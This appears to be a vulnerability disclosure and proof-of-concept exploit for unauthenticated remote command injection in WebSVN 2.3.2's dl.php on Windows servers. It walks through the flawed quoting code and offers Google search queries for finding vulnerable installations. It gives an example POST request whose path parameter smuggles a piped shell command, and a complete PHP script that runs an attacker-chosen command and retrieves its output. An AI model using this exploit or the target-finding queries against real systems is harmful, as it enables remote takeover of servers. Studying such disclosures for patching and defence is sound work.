1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 |
WebSVN 2.3.2 Unproper Metacharacters Escaping exec() Remote Commands Injection Vulnerability tested against: Microsoft Windows Server R2 SP2 PHP 5.3.6 VC9 with magic_quotes_gpc = off (default) Apache 2.2.17 VC9 Introduction: This is a very special vulnerabilty, given the incredibly high number of machines involved. This can be verified by submitting the following queries to Google: "Powered by WebSVN * and Subversion" "Powered by WebSVN 2.3.2 and Subversion" homepage url: http://websvn.tigris.org/ Description says: "WebSVN offers a view onto your subversion repositories that's been designed to reflect the Subversion methodology. You can view the log of any file or directory and see a list of all the files changed, added or deleted in any given revision. You can also view compare two versions of a file so as to see exactly what was changed in a particular revision. Since it's written using PHP, WebSVN is very portable and easy to install." Vulnerabilty: Without prior authentication, if the 'allowDownload' option is enabled in config.php, meaning that a tarball download is allowed across all the repositories (not uncommon), an attacker can invoke the dl.php script and passing a well formed 'path' argument to execute arbitrary commands against the underlying operating system. Vulnerable code: look at dl.php, lines 114-139: ... } else { @unlink($tempDir); mkdir($tempDir); // Create the name of the directory being archived $archiveName = $path; $isDir = (substr($archiveName, -1) == '/'); if ($isDir) { $archiveName = substr($archiveName, 0, -1); } $archiveName = basename($archiveName); if ($archiveName == '') { $archiveName = $rep->name; } $plainfilename = $archiveName; $archiveName .= '.r'.$rev; // Export the requested path from SVN repository to the temp directory $svnExportResult = $svnrep->exportRepositoryPath($path, $tempDir.DIRECTORY_SEPARATOR.$archiveName, $rev, $peg); if ($svnExportResult != 0) { header('HTTP/1.x 500 Internal Server Error', true, 500); error_log('svn export failed for: '.$archiveName); print 'svn export failed for "'.xml_entities($archiveName).'".'; removeDirectory($tempDir); exit(0); } ... then look at exportRepositoryPath() function inside ./include/svnlook.php, lines 879-896: ... // {{{ exportDirectory // // Exports the directory to the given location function exportRepositoryPath($path, $filename, $rev = 0, $peg = '') { $cmd = $this->svnCommandString('export', $path, $rev, $peg).' '.quote($filename); //<--------------- $retcode = 0; execCommand($cmd, $retcode); //<---------------------- if ($retcode != 0) { global $lang; error_log($lang['BADCMD'].': '.escape($cmd)); } return $retcode; } // }}} ... again look at execCommand() function inside ./include/command.php, lines 107-123: ... // {{{ execCommand function execCommand($cmd, &$retcode) { global $config; // On Windows machines, the whole line needs quotes round it so that it's // passed to cmd.exe correctly // Since php 5.3.0 the quoting seems to be done internally if ($config->serverIsWindows && version_compare(PHP_VERSION, '5.3.0alpha') === -1) { $cmd = '"'.$cmd.'"'; //<------------ nonsense ... } return @exec($cmd, $tmp, $retcode); //<--------------------- boom } // }}} ... also, look at quote() inside ./include/command.php: ... // {{{ quote // // Quote a string to send to the command line function quote($str) { global $config; if ($config->serverIsWindows) { return '"'.$str.'"'; //<--------------------------- !!! } else { return escapeshellarg($str); //<------------ this should work properly on Linux instead } } // }}} ... Example packet: POST /websvn/dl.php HTTP/1.1 User-Agent: Mozilla/4.0 Host: 192.168.0.1 Accept: */* Cookie: storedsesstemplate=.%00; storedtemplate=.%00; Content-Length: 42 Content-Type: application/x-www-form-urlencoded path=./../../x%22%7Cver%3Esuntzu.txt%7C%22 the resulting command line is like this: "c:\SVN\bin\svn" --non-interactive --config-dir C:\SVN\tmp\export "URL%20to%20repository%20%28e.g.%20file:///d:/SubVersion/proj%29./../../x%22%7Cver%3Esuntzu.txt%7C%22@" "C:\Documents and Settings \Administrator\Local Settings\Temp\web554.tmp\x"|ver>suntzu.txt|".r" allowing you to inject arbitrary commands via the pipe char. Proof of concept code: <?php /* WebSVN 2.3.2 Unproper Metacharacters Escaping exec() Remote Commands Injection Exploit by rgod download url: http://websvn.tigris.org/ tested against: Microsoft Windows Server R2 SP2 PHP 5.3.6 VC9 with magic_quotes_gpc = off (default) Apache 2.2.17 VC9 it needs the allowDownload option enabled in config.php, meaning that a tarball download is allowed across all the repositories (not uncommon) */ error_reporting(E_ALL ^ E_NOTICE); set_time_limit(0); $err[0] = "[!] This script is intended to be launched from the cli!"; $err[1] = "[!] You need the curl extesion loaded!"; if (php_sapi_name() <> "cli") { die($err[0]); } function syntax() { print("usage: php 9sg_websvn.php [ip_address] [command]\r\n" ); print("example: php 9sg_websvn.php 192.168.0.1 ver\r\n" ); die(); } $argv[2] ? print("[*] Attacking...\n") : syntax(); if (!extension_loaded('curl')) { $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false; if ($win) { !dl("php_curl.dll") ? die($err[1]) : print("[*] curl loaded\n"); } else { !dl("php_curl.so") ? die($err[1]) : print("[*] curl loaded\n"); } } function _s($url, $is_post, $ck, $request) { global $_use_proxy, $proxy_host, $proxy_port; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); if ($is_post) { curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $request); } curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_HTTPHEADER, array( "Cookie: storedsesstemplate=.%00; storedtemplate=.%00;".$ck , )); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0"); curl_setopt($ch, CURLOPT_TIMEOUT, 0); if ($_use_proxy) { curl_setopt($ch, CURLOPT_PROXY, $proxy_host.":".$proxy_port); } $_d = curl_exec($ch); if (curl_errno($ch)) { //die("[!] ".curl_error($ch)."\n"); } else { curl_close($ch); } return $_d; } $host = $argv[1]; $port = 80; $cmd = $argv[2]; $url = "http://$host:$port/websvn/dl.php"; $out = _s($url, 1, "", "path=./../../x".urlencode("\"|".$cmd.">suntzu.txt|\"")); //print($out."\n"); sleep(1); $url = "http://$host:$port/websvn/suntzu.txt"; $out = _s($url, 0, "", ""); print($out."\n"); ?> |